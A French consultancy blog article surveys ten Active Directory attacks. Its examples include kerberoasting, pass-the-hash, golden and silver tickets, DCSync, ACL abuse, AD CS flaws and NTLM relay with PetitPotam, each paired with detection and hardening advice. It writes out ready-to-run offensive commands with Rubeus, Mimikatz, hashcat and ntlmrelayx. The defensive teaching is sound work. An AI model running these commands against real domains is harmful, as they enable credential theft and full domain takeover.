AYI NEDJIMI Consultants

Top 10 des Attaques - Guide Pratique Cybersecurite

Catégorie : Cybersécurité Générale Lecture : 13 min Publié le : 07/12/2025 Auteur : Ayi NEDJIMI

Découvrez le Top 10 des attaques Active Directory les plus dangereuses en 2025. Guide détaillé sur les techniques d Top 10 des Attaques Active.

Article Technique

Top 10 des Attaques Active Directory en 2025 : Guide Technique Complet

Publié le 28 septembre 2025 | Temps de lecture : 25 minutes | Par Ayi NEDJIMI Consultants

Active Directory (AD) demeure en 2025 le pilier central de l'identité et des accès dans plus de 90% des entreprises. Cette position critique en fait la cible privilégiée des attaquants. Ce guide technique exhaustif décortique les 10 attaques les plus dangereuses contre Active Directory, leurs variantes modernes, les techniques de détection et les stratégies de défense en profondeur.

Notre avis d'expert
La culture de sécurité ne se décrète pas — elle se construit au quotidien par l'exemple, la formation et la responsabilisation de chaque collaborateur. Les organisations qui réussissent sont celles où la sécurité est perçue comme un facilitateur plutôt qu'un frein.

La cybersécurité est-elle perçue comme un facilitateur ou un frein dans votre organisation ?

📑 Sommaire

Modele de defense en profondeur - 4 couches de securite

#1Reconnaissance Active Directory via LDAP et BloodHound

La reconnaissance est la phase fondamentale de toute attaque ciblée. Active Directory, par sa nature collaborative, expose une quantité massive d'informations accessibles à tout utilisateur authentifié via le protocole **LDAP (Lightweight Directory Access Protocol)**.

Technique d'attaque

Un attaquant, avec n'importe quel compte utilisateur du domaine, peut énumérer :

- **Tous les utilisateurs** avec leurs attributs (descriptions, dates de dernière connexion, appartenances aux groupes)
- **Les groupes à privilèges** : Domain Admins, Enterprise Admins, Schema Admins, Backup Operators
- **Les ordinateurs** : leurs systèmes d'exploitation, leurs versions, leurs Service Principal Names (SPN)
- **Les relations de confiance** entre domaines et forêts
- **Les GPO (Group Policy Objects)** et leur scope
- **Les ACLs (Access Control Lists)** sur les objets critiques

Les outils phares de cette phase :

- **PowerView** (PowerSploit) : Framework PowerShell pour l'énumération AD
- **SharpHound** : Collecteur de données pour BloodHound, écrit en C#
- **BloodHound** : Outil de visualisation de graphes qui révèle les chemins d'attaque entre un utilisateur compromis et les comptes Domain Admins
- **ldapdomaindump** : Outil Python pour dumper les informations LDAP

Exemple de commande PowerView pour énumérer les Domain Admins :

```
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
```

Une fois les données ingérées dans **BloodHound**, l'attaquant visualise en quelques clics les chemins de compromission. Par exemple : "L'utilisateur bob@contoso.com a des droits GenericWrite sur l'utilisateur alice@contoso.com qui est membre du groupe Domain Admins".

🛡️ **Stratégies de Défense**

- **Réduction de la surface d'attaque** : Auditez et nettoyez régulièrement les permissions excessives. Utilisez BloodHound vous-même pour identifier les chemins d'attaque.
- **Surveillance LDAP** : Déployez des honeypots (comptes leurres) et surveillez les requêtes LDAP anormales via votre SIEM.
- **Segmentation des privilèges** : Implémentez le modèle Tiered Administration pour isoler les comptes à privilèges.
- **Désactivation de SMBv1** : Bloquez les protocoles obsolètes utilisés pour la reconnaissance.

Element	Description	Priorite
Prevention	Mesures proactives de reduction de la surface d'attaque	Haute
Detection	Surveillance et alerting en temps reel	Haute
Reponse	Procedures d'incident response et remediation	Critique
Recovery	Plan de reprise et continuite d'activite	Moyenne

Cas concret
L'attaque WannaCry de 2017 reste l'exemple le plus marquant des conséquences d'une hygiène informatique défaillante. Des milliers d'organisations touchées auraient pu être épargnées par la simple application d'un correctif disponible depuis deux mois. La gestion des patchs reste le fondement de la cybersécurité.

#2Kerberoasting : Extraction et Crack des TGS

Le **Kerberoasting** est une technique d'attaque hors ligne qui exploite la manière dont Kerberos gère les comptes de service. Cette attaque ne génère aucune tentative d'authentification échouée et est extrêmement difficile à détecter.

Fonctionnement technique

Dans un environnement Active Directory, les applications s'authentifient via des **comptes de service** qui ont un **Service Principal Name (SPN)** enregistré. Lorsqu'un utilisateur veut accéder à un service (SQL Server, IIS, etc.), il demande un **TGS (Ticket-Granting Service)** au KDC (Key Distribution Center). Ce ticket est chiffré avec le hash NTLM du mot de passe du compte de service.

L'attaque se déroule en 3 étapes :

1. **Énumération des SPNs** : L'attaquant liste tous les comptes avec un SPN via LDAP
2. **Demande de TGS** : Pour chaque SPN, il demande un ticket de service (TGS)

3. **Extraction et crack** : Les TGS sont extraits de la mémoire et crackés hors ligne avec Hashcat ou John the Ripper

Exemple avec l'outil **Rubeus** :

```
Rubeus.exe kerberoast /outfile:hashes.txt
```

Une fois le hash extrait, l'attaquant utilise un outil de crack :

```
hashcat -m 13100 -a 0 hashes.txt wordlist.txt
```

⚠️ **Impact critique**
Si le mot de passe du compte de service est faible (moins de 15 caractères), il peut être cracké en quelques heures. Les comptes de service ont souvent des privilèges élevés (admin local, accès aux bases de données), ce qui mène directement à une escalade de privilèges.

🛡️ **Contre-mesures**

- **Mots de passe longs et complexes** : Minimum 25 caractères aléatoires pour tous les comptes de service.
- **Group Managed Service Accounts (gMSA)** : Windows gère automatiquement les mots de passe complexes (128 caractères) et les renouvelle régulièrement.
- **Détection via Event ID 4769** : Surveillez les demandes de TGS avec le chiffrement RC4-HMAC (0x17) depuis une seule source en masse.
- **Honey accounts** : Créez des comptes de service factices avec des SPNs pour détecter les tentatives de Kerberoasting.

Vos collaborateurs sauraient-ils reconnaître un email de phishing sophistiqué ?

#3AS-REP Roasting

L'**AS-REP Roasting** est une variante du Kerberoasting qui cible les comptes utilisateurs pour lesquels la **pré-authentification Kerberos** a été désactivée.

Mécanisme d'attaque

Normalement, lors d'une authentification Kerberos, l'utilisateur doit d'abord prouver son identité au KDC (pré-authentification) avant de recevoir un TGT. Si cette option est désactivée (attribut `DONT_REQ_PREAUTH`), n'importe qui peut demander un AS-REP (Authentication Service Response) pour cet utilisateur. La partie chiffrée de l'AS-REP peut être crackée hors ligne pour retrouver le mot de passe.

Énumération des comptes vulnérables avec PowerView :

```
Get-DomainUser -PreauthNotRequired
```

Extraction des AS-REP avec Rubeus :

```
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
```

🛡️ **Protection**

- **Audit régulier** : Recherchez tous les comptes avec l'attribut `DONT_REQ_PREAUTH` activé.
- **Désactivation de l'option** : Sauf cas d'usage legacy absolument nécessaire et documenté.
- **Politique de mots de passe robuste** : Même si l'option est nécessaire, imposez un mot de passe fort (25+ caractères).

#4Pass-the-Hash (PtH) et Pass-the-Ticket (PtT)

Ces techniques exploitent la gestion des identifiants en mémoire par Windows. Au lieu de voler un mot de passe en clair, l'attaquant réutilise directement les hashes NTLM ou les tickets Kerberos pour s'authentifier.

Pass-the-Hash (PtH)

Lorsqu'un utilisateur s'authentifie sur une machine Windows, son hash NTLM est stocké dans la mémoire du processus **LSASS (Local Security Authority Subsystem Service)**. Un attaquant avec des privilèges SYSTEM peut extraire ce hash avec **Mimikatz** :

```
mimikatz # sekurlsa::logonpasswords
```

Puis l'utiliser pour s'authentifier sur un autre système :

```
mimikatz # sekurlsa::pth /user:Administrator /domain:contoso.com /
ntlm:a4f49c406510bdcab6824ee7c30fd852
```

Pass-the-Ticket (PtT)

Similaire au PtH, mais avec des tickets Kerberos. L'attaquant extrait les tickets TGT ou TGS de la mémoire et les injecte dans sa propre session :

```
Rubeus.exe dump
Rubeus.exe ptt /ticket:base64ticket
```

🛡️ **Défenses avancées**

- **Credential Guard** : Fonctionnalité Windows 10/11 et Server 2016+ qui isole LSASS dans un environnement virtualisé basé sur Hyper-V, le protégeant même d'un attaquant SYSTEM.
- **LAPS (Local Administrator Password Solution)** : Gère et renouvelle aléatoirement les mots de passe des administrateurs locaux, empêchant le mouvement latéral avec un seul hash.
- **Tiered Administration** : Les comptes à privilèges ne doivent jamais se connecter sur des machines de tier inférieur (voir nos services d'audit).
- **Protected Users Security Group** : Force Kerberos AES et désactive NTLM pour les membres.
- **Remote Credential Guard** : Pour les connexions RDP, empêche l'envoi des identifiants au serveur distant.

#5Golden Ticket : Forger des Tickets Kerberos

Le **Golden Ticket** est considéré comme le "Saint Graal" de la persistance dans Active Directory. Cette attaque permet à un attaquant de forger des tickets Kerberos valides pour n'importe quel utilisateur, avec n'importe quels privilèges, pour une durée quasi-illimitée.

Prérequis

L'attaquant doit d'abord compromettre un **contrôleur de domaine** et extraire le hash du compte **KRBTGT**. Ce compte spécial est utilisé pour signer tous les tickets Kerberos du domaine.

```
mimikatz # lsadump::dcsync /domain:contoso.com /user:krbtgt
```

Forge du Golden Ticket

Avec le hash KRBTGT, l'attaquant forge un TGT :

```
mimikatz # kerberos::golden /domain:contoso.com /
sid:S-1-5-21-1234567890-123456789-123456789 /krbtgt:a4f49c406510bdcab6824ee7c30fd852 /
user:FakeAdmin /id:500 /groups:512,513,518,519,520
```

Ce ticket forgé :

- Est techniquement **valide** car signé avec le hash KRBTGT
- Peut avoir une **durée de vie de 10 ans** (par défaut)
- Permet de se faire passer pour **n'importe quel utilisateur**, y compris des comptes inexistants
- Est **extrêmement difficile à détecter** car le ticket est légitime du point de vue de Kerberos

⚠️ **Persistance ultime**
Même si vous changez tous les mots de passe de tous les comptes administrateurs, le Golden Ticket reste valide. L'attaquant conserve un accès total au domaine.

🛡️ **Mitigation**

- **Protection des DC** : Les contrôleurs de domaine doivent être protégés comme les joyaux de la couronne. Accès physique et logique ultra-restreints.
- **Rotation du mot de passe KRBTGT** : Procédure à effectuer **deux fois de suite** en suivant la documentation Microsoft. Cette opération invalide tous les tickets existants et le hash volé.
- **Détection des anomalies** :
  - Tickets avec durée de vie anormalement longue
  - Utilisation d'un SID inexistant dans l'attribut SIDHistory
  - Tickets pour des comptes qui n'existent pas
  - Chiffrement RC4 au lieu d'AES
- **Audit Event ID 4769** : Surveillez les demandes de tickets de service suspects.

#6Silver Ticket : Tickets de Service Forgés

Le **Silver Ticket** est une variante plus discrète du Golden Ticket. Au lieu de forger un TGT avec le hash KRBTGT, l'attaquant forge directement un **TGS (Ticket-Granting Service)** pour un service spécifique en utilisant le hash du compte de ce service.

Avantages tactiques

- **Plus discret** : Ne nécessite pas de compromettre un DC
- **Aucune communication avec le KDC** : Le ticket forgé est présenté directement au service cible
- **Scope limité** : Accès uniquement au service ciblé, mais souvent suffisant (ex: service SQL avec accès aux bases sensibles)

Exemple de forge avec Mimikatz :

```
mimikatz # kerberos::golden /domain:contoso.com /sid:S-1-5-21-xxx /
target:sqlserver.contoso.com /service:MSSQLSvc /rc4:hashNTLMduCompteService /user:FakeUser
```

🛡️ **Protection**

- **gMSA pour tous les comptes de service**
- **Surveillance des événements 4769** : Tickets de service sans demande TGT préalable (Event ID 4768)
- **Détection d'anomalies** : Tickets avec des informations incohérentes (utilisateur inexistant, groupes anormaux)

#7DCSync : Exfiltration des Secrets AD

L'attaque **DCSync** permet à un attaquant de se faire passer pour un contrôleur de domaine et de demander la réplication des secrets de mots de passe sans exécuter de code sur le DC lui-même.

Prérequis

L'attaquant doit compromettre un compte avec les privilèges de réplication suivants :

- `DS-Replication-Get-Changes` (Replicating Directory Changes)
- `DS-Replication-Get-Changes-All` (Replicating Directory Changes All)
- `DS-Replication-Get-Changes-In-Filtered-Set` (optionnel, pour certains secrets)

Par défaut, ces droits sont accordés aux groupes : Domain Admins, Enterprise Admins, Administrators, et les comptes de service de réplication DC.

Exécution de l'attaque

```
mimikatz # lsadump::dcsync /domain:contoso.com /user:Administrator
```

Cette commande récupère :

- Le hash NTLM de l'utilisateur
- L'historique des hashes
- Les clés Kerberos (AES256, AES128)

L'attaquant peut ensuite utiliser ces hashes pour Pass-the-Hash ou forger des tickets.

🛡️ **Détection et prévention**

- **Audit strict des privilèges de réplication** : Seuls les DC devraient avoir ces droits
- **Event ID 4662** : Surveillance des opérations sur les objets avec GUID de réplication :
  - `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` (DS-Replication-Get-Changes)
  - `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` (DS-Replication-Get-Changes-All)
- **Détection réseau** : Surveiller les requêtes de réplication provenant de machines qui ne sont pas des DC déclarés
- **Honeypot accounts** : Comptes avec privilèges de réplication surveillés en permanence

#8Abus des ACLs et Chemins d'Escalade

Les **ACLs (Access Control Lists)** mal configurées créent des chemins d'escalade de privilèges invisibles à l'œil nu. BloodHound excelle dans la découverte de ces chaînes d'attaque.

Permissions dangereuses

GenericAll
Contrôle total sur un objet. Un utilisateur avec GenericAll sur un compte admin peut :

- Changer le mot de passe de l'admin
- Ajouter un SPN pour Kerberoasting
- Modifier les ACLs pour se donner encore plus de droits

GenericWrite / WriteProperty
Permet de modifier certains attributs. Exemples d'abus :

- **WriteDACL** : Modifier les ACLs pour s'octroyer GenericAll
- **WriteProperty sur scriptPath** : Spécifier un script de connexion malveillant qui s'exécutera au login de l'utilisateur
- **WriteProperty sur servicePrincipalName** : Ajouter un SPN pour Kerberoasting

ForceChangePassword
Permet de réinitialiser le mot de passe d'un utilisateur sans connaître l'ancien mot de passe.

AddMembers
Permet d'ajouter n'importe qui à un groupe. Si l'attaquant a AddMembers sur Domain Admins, il peut s'y ajouter directement.

Exemple de chaîne d'attaque

BloodHound révèle : *"bob@contoso.com a GenericWrite sur alice@contoso.com qui a ForceChangePassword sur charlie@contoso.com qui est membre de Domain Admins"*

Exploitation :

1. Bob modifie le scriptPath d'Alice pour pointer vers un script malveillant
2. Alice se connecte, le script s'exécute, Bob récupère ses credentials
3. Bob utilise les credentials d'Alice pour réinitialiser le mot de passe de Charlie
4. Bob se connecte en tant que Charlie qui est Domain Admin

🛡️ **Remédiation**

- **Audit BloodHound régulier** : Exécutez BloodHound vous-même mensuellement pour détecter les nouveaux chemins
- **Principe du moindre privilège** : Retirez toutes les ACLs non justifiées
- **AdminSDHolder et SDProp** : Protégez les objets critiques contre les modifications d'ACLs
- **Protected Users Group** : Les membres ne peuvent pas avoir de délégations de contrainte
- **Surveillance Event ID 5136** : Modifications d'objets AD, incluant les ACLs

#9Attaques AD CS (Active Directory Certificate Services)

Active Directory Certificate Services (AD CS) est une infrastructure PKI intégrée à AD. Des configurations incorrectes peuvent mener à des escalades de privilèges critiques et à de la persistance indétectable.

Principales vulnérabilités

ESC1 : Modèles de certificats mal configurés
Si un modèle de certificat permet :

- L'authentification client (`Client Authentication` EKU)
- La spécification d'un SAN (Subject Alternative Name) par le demandeur
- L'inscription par des utilisateurs de bas privilèges

Un attaquant peut demander un certificat au nom d'un Domain Admin et l'utiliser pour s'authentifier en tant que cet admin.

ESC6 : Vulnérabilité EDITF_ATTRIBUTESUBJECTALTNAME2
Si le flag `EDITF_ATTRIBUTESUBJECTALTNAME2` est activé sur l'autorité de certification, n'importe quel modèle de certificat peut être abusé pour spécifier un SAN arbitraire.

ESC7 : Gestion vulnérable de l'autorité de certification
Les droits `ManageCA` et `ManageCertificates` permettent à un attaquant de modifier les configurations de l'AC ou d'approuver des demandes de certificats refusées.

ESC8 : Relay NTLM vers HTTP Enrollment
Si l'interface web d'enrollment de certificats (`certsrv`) accepte l'authentification NTLM, un attaquant peut relayer une authentification NTLM pour demander un certificat au nom de la victime.

Détection avec Certify

```
Certify.exe find /vulnerable
```

🛡️ **Durcissement AD CS**

- **Audit des modèles** : Utilisez Certify et Certipy pour identifier les vulnérabilités
- **Restrictions sur les modèles** :
  - Ne permettez pas aux utilisateurs de spécifier le SAN
  - Exigez l'approbation du manager pour les certificats sensibles
  - Limitez l'enrollment aux groupes à privilèges uniquement
- **Désactivation EDITF_ATTRIBUTESUBJECTALTNAME2** : `certutil -config "CA\CAName" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2`
- **Protection contre NTLM Relay** : Désactivez l'authentification NTLM sur les interfaces web d'enrollment, imposez Kerberos ou les certificats clients
- **Surveillance des certificats** : Auditez toutes les demandes et émissions de certificats (Event IDs 4886, 4887, 4888)

#10NTLM Relay et Coercion Attacks

Les attaques de **NTLM Relay** exploitent le protocole d'authentification NTLM pour rediriger les authentifications d'une machine vers une autre cible. Combinées aux **Coercion Attacks**, elles permettent de forcer des machines à s'authentifier vers l'attaquant.

Principes de l'attaque

1. NTLM Relay classique
L'attaquant se positionne en Man-in-the-Middle et capture une authentification NTLM d'une victime, puis la relaie vers un serveur cible (SMB, LDAP, HTTP) pour s'authentifier en tant que la victime.

Outil : **ntlmrelayx** (Impacket)

```
ntlmrelayx.py -t ldaps://dc.contoso.com -smb2support
```

2. Coercion Attacks
Ces techniques forcent une machine (y compris un DC) à initier une authentification NTLM vers l'attaquant :

- **PetitPotam** : Exploite l'interface RPC `MS-EFSRPC`
- **PrinterBug** : Force un DC à s'authentifier via le spooler d'impression
- **DFSCoerce** : Abuse du protocole MS-DFSNM

- **ShadowCoerce** : Exploite le service VSS (Volume Shadow Copy)

Scénario d'attaque avancé

1. L'attaquant utilise **PetitPotam** pour forcer le DC à s'authentifier vers sa machine
2. Il relaie l'authentification du DC vers **AD CS** via l'interface web (ESC8)
3. Il obtient un certificat au nom du DC
4. Il utilise ce certificat pour s'authentifier et effectuer un **DCSync**
5. Il obtient le hash KRBTGT et forge un **Golden Ticket**

Combinaison PetitPotam + Relay vers AD CS :

```
ntlmrelayx.py -t http://ca.contoso.com/certsrv/certfnsh.asp -smb2support --adcs
PetitPotam.py attacker_ip dc.contoso.com
```

🛡️ **Protection multi-couches**

- **Désactivation de NTLM** : Migrez vers Kerberos uniquement (GPO : "Network security: Restrict NTLM")
- **SMB Signing obligatoire** : Empêche le relay SMB
- **LDAP Signing et Channel Binding** : Protège contre le relay LDAP
- **EPA (Extended Protection for Authentication)** : Pour les services web
- **Patches des vulnérabilités de coercion** :
  - PetitPotam : KB5005413
  - PrintNightmare : KB5004945
- **Désactivation des services non utilisés** : Spooler d'impression sur les DC, MS-EFSRPC
- **Durcissement AD CS** : Désactiver l'authentification NTLM sur les interfaces web
- **Surveillance** : Event IDs 4648 (logon avec credentials explicites), anomalies d'authentification

> **Ressources open source associées :**
>
> - ADauditor — Toolkit d'audit de sécurité Active Directory (PowerShell)
> - ADBloodHound-AI — Analyse BloodHound avec IA
> - awesome-cybersecurity-tools — Liste de 100+ outils de cybersécurité
> - ad-attacks-fr — Dataset des attaques Active Directory (HuggingFace)
> - mitre-attack-fr — Dataset MITRE ATT&CK (HuggingFace)

Questions frequentes

Pour approfondir, consultez notre guide sur l'exploitation Kerberos et notre article sur la technique Golden Ticket.

Comment ce sujet impacte-t-il la securite des organisations ?

Ce sujet a un impact significatif sur la securite des organisations car il touche aux fondamentaux de la protection des systemes d'information. Les entreprises doivent evaluer leur exposition, mettre en place des mesures preventives adaptees et former leurs equipes pour faire face aux risques associes a cette problematique.

Quelles sont les bonnes pratiques recommandees par les experts ?

Les experts recommandent une approche basee sur les risques, incluant l'evaluation reguliere de la posture de securite, la mise en place de controles techniques et organisationnels, la formation continue des equipes et l'adoption des referentiels de securite reconnus comme ceux du NIST, de l'ANSSI et de l'OWASP.

Pourquoi est-il important de se former sur ce sujet en 2026 ?

En 2026, la maitrise de ce sujet est devenue incontournable face a l'evolution constante des menaces et des exigences reglementaires. Les professionnels de la cybersecurite doivent maintenir leurs competences a jour pour proteger efficacement les actifs numeriques de leur organisation et repondre aux obligations de conformite.

Conclusion : Une Approche de Défense en Profondeur

La sécurisation d'Active Directory ne repose pas sur une seule mesure miracle, mais sur une **stratégie de défense en profondeur** combinant :

- **Hygiène des privilèges** : Tiered Administration, gMSA, LAPS, Protected Users
- **Durcissement de la configuration** : Désactivation de NTLM, SMB Signing, LDAP Signing, Credential Guard
- **Audit continu** : BloodHound régulier, Certify pour AD CS, surveillance des ACLs
- **Détection** : SIEM avec règles spécifiques (Event IDs 4768, 4769, 4662, 5136), EDR, honeypots
- **Segmentation** : Isolation des DC, microsegmentation réseau, PAWs (Privileged Access Workstations)
- **Formation** : Sensibilisation des équipes IT et sécurité aux vecteurs d'attaque modernes

La complexité d'Active Directory en fait à la fois sa force et sa faiblesse. Seul un audit régulier par des experts en sécurité offensive peut révéler les vulnérabilités cachées avant qu'un attaquant ne les exploite.

Sources et références : CERT-FR · MITRE ATT&CK

📚 Ressources complémentaires

- Livre Blanc : Sécuriser Active Directory - Guide Complet 2025
- Nos services d'audit Active Directory
- Audit de sécurité Infrastructure Cloud & On-Premise
- Audit de sécurité Kubernetes

- Formations Blog - Articles techniques sur la cybersécurité

Cet article vous a été utile ? Partagez-le avec votre équipe sécurité.

Ayi NEDJIMI Consultants — Expert cybersécurité offensive & intelligence artificielle

ayinedjimi-consultants.fr · ayi@ayinedjimi-consultants.fr